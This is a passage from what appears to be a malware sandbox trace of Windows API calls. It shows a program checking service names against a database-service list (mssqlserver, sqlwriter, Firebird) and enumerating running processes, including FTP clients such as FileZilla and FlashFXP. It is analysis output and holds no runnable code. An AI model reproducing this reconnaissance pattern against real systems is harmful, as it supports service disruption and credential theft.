	[0079.845] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0079.846] lstrlenW (lpString="ShellHWDetection") returned 16
	[0079.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0079.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0079.846] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0079.846] lstrlenW (lpString="Spooler") returned 7
	[0079.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0079.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0079.846] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0079.846] lstrlenW (lpString="SSDPSRV") returned 7
	[0079.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0079.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0079.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0079.846] lstrlenW (lpString="StateRepository") returned 15
	[0079.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0079.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0079.846] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0079.846] lstrlenW (lpString="SysMain") returned 7
	[0079.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0079.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0079.846] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0079.846] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0079.847] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x783bf0 | out: hHeap=0x720000) returned 1
	[0079.847] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398
	[0080.374] Process32FirstW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0080.375] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0080.376] lstrlenW (lpString="System") returned 6
	[0080.376] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0080.376] lstrlenW (lpString="smss.exe") returned 8
	[0080.376] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0080.377] lstrlenW (lpString="csrss.exe") returned 9
	[0080.377] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0080.378] lstrlenW (lpString="wininit.exe") returned 11
	[0080.378] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0080.379] lstrlenW (lpString="csrss.exe") returned 9
	[0080.379] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0080.379] lstrlenW (lpString="winlogon.exe") returned 12
	[0080.387] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0080.388] lstrlenW (lpString="services.exe") returned 12
	[0080.388] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0080.388] lstrlenW (lpString="lsass.exe") returned 9
	[0080.388] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.389] lstrlenW (lpString="svchost.exe") returned 11
	[0080.389] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0080.390] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0080.390] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0080.390] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0080.390] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.391] lstrlenW (lpString="svchost.exe") returned 11
	[0080.391] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0080.392] lstrlenW (lpString="dwm.exe") returned 7
	[0080.392] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.392] lstrlenW (lpString="svchost.exe") returned 11
	[0080.392] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.393] lstrlenW (lpString="svchost.exe") returned 11
	[0080.393] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.394] lstrlenW (lpString="svchost.exe") returned 11
	[0080.394] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.394] lstrlenW (lpString="svchost.exe") returned 11
	[0080.394] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.396] lstrlenW (lpString="svchost.exe") returned 11
	[0080.396] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.397] lstrlenW (lpString="svchost.exe") returned 11
	[0080.397] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.397] lstrlenW (lpString="svchost.exe") returned 11
	[0080.397] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.398] lstrlenW (lpString="svchost.exe") returned 11
	[0080.398] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.399] lstrlenW (lpString="svchost.exe") returned 11
	[0080.399] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.399] lstrlenW (lpString="svchost.exe") returned 11
	[0080.399] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0080.400] lstrlenW (lpString="spoolsv.exe") returned 11
	[0080.400] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.401] lstrlenW (lpString="svchost.exe") returned 11
	[0080.401] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0080.401] lstrlenW (lpString="audiodg.exe") returned 11
	[0080.401] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0080.402] lstrlenW (lpString="sihost.exe") returned 10
	[0080.402] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0080.403] lstrlenW (lpString="svchost.exe") returned 11
	[0080.403] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0080.403] lstrlenW (lpString="taskhostw.exe") returned 13
	[0080.403] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0080.404] lstrlenW (lpString="explorer.exe") returned 12
	[0080.404] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0080.405] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0080.405] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0080.405] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0080.405] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0080.406] lstrlenW (lpString="Memory Compression") returned 18
	[0080.406] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0080.407] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0080.407] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0080.407] lstrlenW (lpString="SearchUI.exe") returned 12
	[0080.407] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0080.408] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0080.408] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0080.409] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0080.409] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1
	[0080.409] lstrlenW (lpString="pending.exe") returned 11
	[0080.409] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed-bug-workers.exe")) returned 1
	[0080.410] lstrlenW (lpString="impressed-bug-workers.exe") returned 25
	[0080.410] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sw_sorts.exe")) returned 1
	[0080.821] lstrlenW (lpString="sw_sorts.exe") returned 12
	[0080.821] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trademarks-clara-cancer.exe")) returned 1
	[0080.821] lstrlenW (lpString="trademarks-clara-cancer.exe") returned 27
	[0080.821] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="search.exe")) returned 1
	[0080.822] lstrlenW (lpString="search.exe") returned 10
	[0080.822] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="compatibility.exe")) returned 1
	[0080.822] lstrlenW (lpString="compatibility.exe") returned 17
	[0080.822] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freeze negotiations.exe")) returned 1
	[0080.823] lstrlenW (lpString="freeze negotiations.exe") returned 23
	[0080.823] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ellen rebound.exe")) returned 1
	[0080.824] lstrlenW (lpString="ellen rebound.exe") returned 17
	[0080.824] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="try.exe")) returned 1
	[0080.824] lstrlenW (lpString="try.exe") returned 7
	[0080.824] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="consultancy.exe")) returned 1
	[0080.825] lstrlenW (lpString="consultancy.exe") returned 15
	[0080.825] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1
	[0080.825] lstrlenW (lpString="especially.exe") returned 14
	[0080.825] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectibles-register-voluntary.exe")) returned 1
	[0080.826] lstrlenW (lpString="collectibles-register-voluntary.exe") returned 35
	[0080.826] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines-cope-finances.exe")) returned 1
	[0080.826] lstrlenW (lpString="headlines-cope-finances.exe") returned 27
	[0080.826] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="modules.exe")) returned 1
	[0080.827] lstrlenW (lpString="modules.exe") returned 11
	[0080.827] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious.exe")) returned 1
	[0080.827] lstrlenW (lpString="jane_conscious.exe") returned 18
	[0080.827] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="namespace-bankruptcy.exe")) returned 1
	[0080.828] lstrlenW (lpString="namespace-bankruptcy.exe") returned 24
	[0080.828] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0080.828] lstrlenW (lpString="3dftp.exe") returned 9
	[0080.828] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0080.829] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0080.829] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0080.829] lstrlenW (lpString="alftp.exe") returned 9
	[0080.829] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0080.830] lstrlenW (lpString="barca.exe") returned 9
	[0080.830] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0080.831] lstrlenW (lpString="bitkinex.exe") returned 12
	[0080.831] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0080.832] lstrlenW (lpString="coreftp.exe") returned 11
	[0080.832] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0080.833] lstrlenW (lpString="far.exe") returned 7
	[0080.833] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0080.834] lstrlenW (lpString="filezilla.exe") returned 13
	[0080.834] Process32NextW (in: hSnapshot=0x398, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0080.835] lstrlenW (lpString="flashfxp.exe") returned 12
